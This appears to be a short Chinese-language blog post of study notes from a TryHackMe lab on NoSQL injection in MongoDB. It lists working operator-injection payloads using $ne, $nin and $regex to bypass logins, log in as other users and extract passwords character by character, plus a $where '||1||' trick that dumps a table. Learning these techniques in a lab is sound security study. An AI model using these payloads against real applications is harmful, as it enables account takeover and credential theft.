tryhackme NoSQL Injection

https://tryhackme.com/room/nosqlinjectiontutorial

NoSQL Injection

什么是NoSQL

MongoDB

https://docs.mongodb.com/manual/reference/operator/query/

NoSQL Injection

语法注入(Syntax Injection):" / $ {
操作符注入(Operator Injection):{"username":"admin","password":{"$ne":""}}
将放在操作符注入及其各种利用方式上,"语法注入"的案例相对不那么常见:开发者常以为"用了 ORM/查询构造库就安全",但库对语法有过滤、对操作符参数却没过滤

  • 如何注入 NoSQL

要注入 NoSQL,就必须能够向应用中注入数组
许多服务端编程语言允许通过在 HTTP 请求的查询字符串中使用特殊语法来传递数组变量

user[$ne]=xxxx&pass[$ne]=yyyy

操作符注入 - 绕过登录界面

user[$ne]=xxxx&pass[$ne]=yyyy

操作符注入 - 登录为其他用户

user[$nin][]=admin&pass[$ne]=aweasdf

user[$nin][]=admin&user[$nin][]=bob&pass[$ne]=aweasdf

['username'=>['$nin'=>['admin', 'bob'] ], 'password'=>['$ne'=>'aweasdf']]

操作符注入 - 提取用户密码

user[$ne]=xxxx&pass[$regex]=^.{7}$
user[$ne]=xxxx&pass[$regex]=^c....$

语法注入 - 识别与数据提取

$where JS 拼接 → '||1||' 拖全表 (用对 API调用,不要手搓代码)

posted @ 2026-08-25 14:45  sec875  阅读(3)  评论(0)    收藏  举报